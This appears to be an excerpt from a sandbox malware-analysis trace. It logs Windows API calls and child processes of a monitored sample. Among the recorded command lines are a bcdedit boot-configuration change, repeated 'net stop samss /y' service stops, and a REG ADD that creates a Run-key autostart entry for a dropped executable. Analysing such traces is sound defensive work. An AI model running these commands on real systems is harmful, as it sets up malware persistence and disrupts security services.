	[0248.127] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Not found\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34
	[0248.127] malloc (_Size=0x22) returned 0x24d360
	[0248.127] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Not found\r\n", cchWideChar=-1, lpMultiByteStr=0x24d360, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Not found\r\n", lpUsedDefaultChar=0x0) returned 34
	[0248.127] fprintf (in: _File=0x7fefe122ae0, _Format="%s" | out: _File=0x7fefe122ae0) returned 33
	[0248.130] fflush (in: _File=0x7fefe122ae0 | out: _File=0x7fefe122ae0) returned 0
	[0248.130] free (_Block=0x24d360) 
	[0248.131] free (_Block=0x2497a0) 
	[0248.131] free (_Block=0x2496a0) 
	[0248.131] free (_Block=0x249700) 
	[0248.131] ??1CHString@@QEAA@XZ () returned 0x11f28501
	[0248.131] ??0CHString@@QEAA@PEBG@Z () returned 0x18f7c0
	[0248.131] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x18f7c0
	[0248.132] GetCurrentThreadId () returned 0x1dcc
	[0248.132] ??1CHString@@QEAA@XZ () returned 0x11f28501
	[0248.132] WbemLocator:IUnknown:Release (This=0x1ea3c18) returned 0x0
	[0248.408] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0248.408] free (_Block=0x24d330) 
	[0248.408] _kbhit () returned 0x0
	[0248.411] free (_Block=0x24cb10) 
	[0248.411] free (_Block=0x2495a0) 
	[0248.411] free (_Block=0x249580) 
	[0248.412] free (_Block=0x249560) 
	[0248.412] free (_Block=0x249040) 
	[0248.412] free (_Block=0x246dc0) 
	[0248.412] free (_Block=0x249640) 
	[0248.412] free (_Block=0x2485c0) 
	[0248.412] free (_Block=0x2496c0) 
	[0248.412] free (_Block=0x24ca70) 
	[0248.412] free (_Block=0x249660) 
	[0248.412] free (_Block=0x2496e0) 
	[0248.413] free (_Block=0x24caf0) 
	[0248.413] free (_Block=0x246d20) 
	[0248.413] free (_Block=0x24cac0) 
	[0248.413] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0248.413] free (_Block=0x24ca40) 
	[0248.413] free (_Block=0x2495e0) 
	[0248.413] free (_Block=0x249600) 
	[0248.415] free (_Block=0x246400) 
	[0248.415] free (_Block=0x246450) 
	[0248.415] free (_Block=0x2464a0) 
	[0248.415] free (_Block=0x2495c0) 
	[0248.415] free (_Block=0x246540) 
	[0248.416] free (_Block=0x246d00) 
	[0248.416] free (_Block=0x248040) 
	[0248.416] free (_Block=0x2468e0) 
	[0248.416] free (_Block=0x248000) 
	[0248.416] free (_Block=0x246880) 
	[0248.416] free (_Block=0x2468a0) 
	[0248.417] free (_Block=0x246760) 
	[0248.417] free (_Block=0x246780) 
	[0248.417] free (_Block=0x246700) 
	[0248.417] free (_Block=0x246720) 
	[0248.417] free (_Block=0x2467c0) 
	[0248.417] free (_Block=0x2467e0) 
	[0248.417] free (_Block=0x246820) 
	[0248.417] free (_Block=0x246840) 
	[0248.417] free (_Block=0x246640) 
	[0248.417] free (_Block=0x246660) 
	[0248.418] free (_Block=0x2465e0) 
	[0248.418] free (_Block=0x246600) 
	[0248.418] free (_Block=0x2466a0) 
	[0248.418] free (_Block=0x2466c0) 
	[0248.418] free (_Block=0x246580) 
	[0248.418] free (_Block=0x2465a0) 
	[0248.418] free (_Block=0x2464f0) 
	[0248.418] free (_Block=0x247fa0) 
	[0248.418] free (_Block=0x246e50) 
	[0248.418] WbemLocator:IUnknown:Release (This=0x1e91390) returned 0x2
	[0248.419] WbemLocator:IUnknown:Release (This=0x1ea3b28) returned 0x0
	[0248.421] WbemLocator:IUnknown:Release (This=0x1ea3a98) returned 0x0
	[0248.422] WbemLocator:IUnknown:Release (This=0x1e91390) returned 0x1
	[0248.422] ?Empty@CHString@@QEAAXXZ () returned 0x7fef337482c
	[0248.422] WbemLocator:IUnknown:Release (This=0x1e91390) returned 0x0
	[0248.422] free (_Block=0x2494e0) 
	[0248.422] free (_Block=0x249500) 
	[0248.422] free (_Block=0x248540) 
	[0248.422] free (_Block=0x249520) 
	[0248.422] free (_Block=0x249540) 
	[0248.422] free (_Block=0x248580) 
	[0248.423] free (_Block=0x249360) 
	[0248.423] free (_Block=0x249380) 
	[0248.423] free (_Block=0x2483c0) 
	[0248.423] free (_Block=0x2493a0) 
	[0248.423] free (_Block=0x2493c0) 
	[0248.423] free (_Block=0x248400) 
	[0248.423] free (_Block=0x2492e0) 
	[0248.423] free (_Block=0x249300) 
	[0248.423] free (_Block=0x248340) 
	[0248.424] free (_Block=0x249320) 
	[0248.424] free (_Block=0x249340) 
	[0248.424] free (_Block=0x248380) 
	[0248.424] free (_Block=0x249460) 
	[0248.424] free (_Block=0x249480) 
	[0248.424] free (_Block=0x2484c0) 
	[0248.424] free (_Block=0x2494a0) 
	[0248.424] free (_Block=0x2494c0) 
	[0248.425] free (_Block=0x248500) 
	[0248.425] free (_Block=0x249260) 
	[0248.425] free (_Block=0x249280) 
	[0248.425] free (_Block=0x2482c0) 
	[0248.425] free (_Block=0x2492a0) 
	[0248.425] free (_Block=0x2492c0) 
	[0248.425] free (_Block=0x248300) 
	[0248.426] free (_Block=0x2493e0) 
	[0248.426] free (_Block=0x249400) 
	[0248.426] free (_Block=0x248440) 
	[0248.426] free (_Block=0x249420) 
	[0248.426] free (_Block=0x249440) 
	[0248.426] free (_Block=0x248480) 
	[0248.426] free (_Block=0x2491a0) 
	[0248.426] free (_Block=0x2491c0) 
	[0248.426] free (_Block=0x248200) 
	[0248.426] free (_Block=0x249060) 
	[0248.427] free (_Block=0x249080) 
	[0248.427] free (_Block=0x2480c0) 
	[0248.427] free (_Block=0x249020) 
	[0248.427] free (_Block=0x249000) 
	[0248.427] free (_Block=0x248080) 
	[0248.427] free (_Block=0x2490e0) 
	[0248.427] free (_Block=0x249100) 
	[0248.427] free (_Block=0x248140) 
	[0248.427] free (_Block=0x2491e0) 
	[0248.428] free (_Block=0x249200) 
	[0248.428] free (_Block=0x248240) 
	[0248.428] free (_Block=0x2490a0) 
	[0248.428] free (_Block=0x2490c0) 
	[0248.428] free (_Block=0x248100) 
	[0248.428] free (_Block=0x249120) 
	[0248.428] free (_Block=0x249140) 
	[0248.428] free (_Block=0x248180) 
	[0248.428] free (_Block=0x249160) 
	[0248.428] free (_Block=0x249180) 
	[0248.429] free (_Block=0x2481c0) 
	[0248.429] free (_Block=0x249220) 
	[0248.429] free (_Block=0x249240) 
	[0248.429] free (_Block=0x248280) 
	[0248.430] CoUninitialize () 
	[0250.332] exit (_Code=-2147217406) 
	[0250.333] free (_Block=0x246d70) 
	[0250.333] free (_Block=0x247c30) 
	[0250.333] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0250.333] free (_Block=0x246e00) 
	[0250.334] free (_Block=0x246560) 
	[0250.334] free (_Block=0x247bf0) 
	[0250.334] free (_Block=0x247bb0) 
	[0250.334] free (_Block=0x247b60) 
	[0250.334] free (_Block=0x247b20) 
	[0250.334] free (_Block=0x247ac0) 
	[0250.334] free (_Block=0x245a90) 
	[0250.334] free (_Block=0x245a50) 
	[0250.334] ??1CHString@@QEAA@XZ () returned 0x7fef337482c
	[0250.334] free (_Block=0x249620) 

Thread:
	id = 1645
	os_tid = 0x1fa4


Thread:
	id = 1865
	os_tid = 0x2304


Thread:
	id = 1914
	os_tid = 0x2084


Thread:
	id = 1915
	os_tid = 0x1c48


Thread:
	id = 1916
	os_tid = 0x1698


Process:
	id = "58"
	image_name = "bcdedit.exe"
	filename = "c:\\windows\\system32\\bcdedit.exe"
	page_root = "0x16fc3000"
	os_pid = "0x1fcc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "50"
	os_parent_pid = "0x1694"
	cmd_line = "bcdedit  /set {default}"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1654
	os_tid = 0x1fd0


Process:
	id = "59"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x28864000"
	os_pid = "0x514"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "54"
	os_parent_pid = "0x1d04"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1673
	os_tid = 0x1d10

	[0203.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fb70 | out: lpSystemTimeAsFileTime=0x14fb70*(dwLowDateTime=0x4952ab10, dwHighDateTime=0x1d5cdef)) 
	[0203.365] GetCurrentProcessId () returned 0x514
	[0203.365] GetCurrentThreadId () returned 0x1d10
	[0203.365] GetTickCount () returned 0x1178621
	[0203.365] QueryPerformanceCounter (in: lpPerformanceCount=0x14fb78 | out: lpPerformanceCount=0x14fb78*=34511826707) returned 1
	[0203.368] GetModuleHandleW (lpModuleName=0x0) returned 0xff690000
	[0203.368] __set_app_type (_Type=0x1) 
	[0203.368] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6a9c9c) returned 0x0
	[0203.368] __getmainargs (in: _Argc=0xff6b4780, _Argv=0xff6b4790, _Env=0xff6b4788, _DoWildCard=0, _StartInfo=0xff6b479c | out: _Argc=0xff6b4780, _Argv=0xff6b4790, _Env=0xff6b4788) returned 0
	[0203.369] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0203.369] GetConsoleOutputCP () returned 0x1b5
	[0203.870] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xff6bcec0 | out: lpCPInfo=0xff6bcec0) returned 1
	[0203.871] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0203.877] sprintf_s (in: _DstBuf=0x14fb18, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0203.877] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0203.881] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0203.882] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0203.882] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0203.882] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14f8b0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0203.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6e) returned 0x2bc060
	[0203.882] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0203.883] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x14fb08 | out: Buffer=0x14fb08*=0x2b4d40) returned 0x0
	[0203.883] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x14fb08 | out: Buffer=0x14fb08*=0x2bc0e0) returned 0x0
	[0203.883] _fileno (_File=0x7fefe122a80) returned 0
	[0203.883] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0203.884] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0203.884] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0203.884] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0203.884] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0203.884] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0203.884] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0203.884] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0203.884] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0203.884] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0203.884] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0203.884] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0203.885] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0203.885] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0203.885] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0203.885] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0203.885] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0203.885] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0203.885] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0203.885] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0203.885] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0203.885] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0203.885] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0203.885] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0203.885] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0203.886] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0203.886] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0203.886] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0203.886] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0203.886] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0203.886] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0203.886] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0203.886] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0203.886] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0203.886] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0203.886] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0203.886] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0203.886] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0203.886] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0203.887] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0203.887] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0203.887] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0203.887] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0203.887] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0203.887] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0203.887] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0203.887] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0203.887] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0203.887] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0203.887] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0203.887] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0203.887] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0203.887] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0203.888] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0203.888] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0203.888] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0203.888] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0203.888] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0203.888] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0203.888] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0203.888] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0203.888] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0203.888] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0203.888] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0203.888] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0203.888] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0203.889] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0203.890] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x2bcdf0
	[0203.902] GetServiceKeyNameW (in: hSCManager=0x2bcdf0, lpDisplayName="SAMSS", lpServiceName=0xff6b5750, lpcchBuffer=0x14fa28 | out: lpServiceName="", lpcchBuffer=0x14fa28) returned 0
	[0204.201] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0204.201] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0204.201] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0204.201] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0204.202] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0204.202] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0204.202] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0204.202] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0204.202] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0204.202] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0204.202] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0204.202] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0204.202] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0204.202] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0204.202] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0204.202] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0204.202] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0204.202] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0204.202] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0204.203] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x14fa30 | out: bufptr=0x14fa30) returned 0x0
	[0204.207] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x14f9e8 | out: Buffer=0x14f9e8*=0x2c0c70) returned 0x0
	[0204.207] OpenServiceW (hSCManager=0x2bcdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x2bce50
	[0204.208] QueryServiceStatus (in: hService=0x2bce50, lpServiceStatus=0x14f990 | out: lpServiceStatus=0x14f990*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0204.209] NetApiBufferFree (Buffer=0x2c0c70) returned 0x0
	[0204.209] CloseServiceHandle (hSCObject=0x2bce50) returned 1
	[0204.210] wcscpy_s (in: _Destination=0xff6b80d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0204.210] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0204.212] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xff6b5b50, nSize=0x800, Arguments=0xff6b7f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0204.220] GetFileType (hFile=0xb) returned 0x2
	[0204.222] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f888 | out: lpMode=0x14f888) returned 1
	[0204.223] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff6b5b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x14f880, lpReserved=0x0 | out: lpBuffer=0xff6b5b50*, lpNumberOfCharsWritten=0x14f880*=0x47) returned 1
	[0204.224] GetFileType (hFile=0xb) returned 0x2
	[0204.225] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f888 | out: lpMode=0x14f888) returned 1
	[0204.226] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff691efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f880, lpReserved=0x0 | out: lpBuffer=0xff691efc*, lpNumberOfCharsWritten=0x14f880*=0x2) returned 1
	[0204.227] _ultow (in: _Dest=0x88f, _Radix=1374448 | out: _Dest=0x88f) returned="2191"
	[0204.228] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xff6b5b50, nSize=0x800, Arguments=0xff6b7f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0204.229] GetFileType (hFile=0xb) returned 0x2
	[0204.230] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f888 | out: lpMode=0x14f888) returned 1
	[0204.231] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff6b5b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x14f880, lpReserved=0x0 | out: lpBuffer=0xff6b5b50*, lpNumberOfCharsWritten=0x14f880*=0x34) returned 1
	[0204.232] GetFileType (hFile=0xb) returned 0x2
	[0204.233] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f888 | out: lpMode=0x14f888) returned 1
	[0204.234] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xff691efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f880, lpReserved=0x0 | out: lpBuffer=0xff691efc*, lpNumberOfCharsWritten=0x14f880*=0x2) returned 1
	[0204.236] NetApiBufferFree (Buffer=0x2b4d40) returned 0x0
	[0204.236] NetApiBufferFree (Buffer=0x2bc0e0) returned 0x0
	[0204.236] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0204.237] exit (_Code=2) 

Process:
	id = "60"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x143cc000"
	os_pid = "0x2030"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1692
	os_tid = 0x2034


Process:
	id = "61"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x17135000"
	os_pid = "0x2114"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1746
	os_tid = 0x2118


Process:
	id = "62"
	image_name = "reg.exe"
	filename = "c:\\windows\\system32\\reg.exe"
	page_root = "0x14bbf000"
	os_pid = "0x211c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "53"
	os_parent_pid = "0x1ccc"
	cmd_line = "REG  ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1747
	os_tid = 0x2120

	[0205.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa50 | out: lpSystemTimeAsFileTime=0x18fa50*(dwLowDateTime=0x4ac862f0, dwHighDateTime=0x1d5cdef)) 
	[0205.868] GetCurrentProcessId () returned 0x211c
	[0205.868] GetCurrentThreadId () returned 0x2120
	[0205.868] GetTickCount () returned 0x1178fb2
	[0205.868] QueryPerformanceCounter (in: lpPerformanceCount=0x18fa58 | out: lpPerformanceCount=0x18fa58*=34762133698) returned 1
	[0205.871] GetModuleHandleW (lpModuleName=0x0) returned 0xff280000
	[0205.872] __set_app_type (_Type=0x1) 
	[0205.872] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2900d0) returned 0x0
	[0205.872] __wgetmainargs (in: _Argc=0xff292140, _Argv=0xff292150, _Env=0xff292148, _DoWildCard=0, _StartInfo=0xff29215c | out: _Argc=0xff292140, _Argv=0xff292150, _Env=0xff292148) returned 0
	[0206.212] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1
	[0206.215] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0206.216] RegOpenKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18fa28 | out: phkResult=0x18fa28*=0x0) returned 0x2
	[0206.217] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="ADD", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2
	[0206.217] lstrlenW (lpString="-?|/?|-h|/h") returned 11
	[0206.218] GetProcessHeap () returned 0x2f0000
	[0206.218] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b710
	[0206.218] lstrlenW (lpString="") returned 0
	[0206.218] GetProcessHeap () returned 0x2f0000
	[0206.218] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x2) returned 0x30b730
	[0206.218] GetProcessHeap () returned 0x2f0000
	[0206.218] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305af0
	[0206.218] GetProcessHeap () returned 0x2f0000
	[0206.218] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b750
	[0206.218] GetProcessHeap () returned 0x2f0000
	[0206.218] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b20
	[0206.218] GetProcessHeap () returned 0x2f0000
	[0206.218] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b50
	[0206.218] GetProcessHeap () returned 0x2f0000
	[0206.218] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305b80
	[0206.219] GetProcessHeap () returned 0x2f0000
	[0206.219] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305bb0
	[0206.219] GetProcessHeap () returned 0x2f0000
	[0206.219] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30b770
	[0206.219] GetProcessHeap () returned 0x2f0000
	[0206.219] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x305be0
	[0206.219] GetProcessHeap () returned 0x2f0000
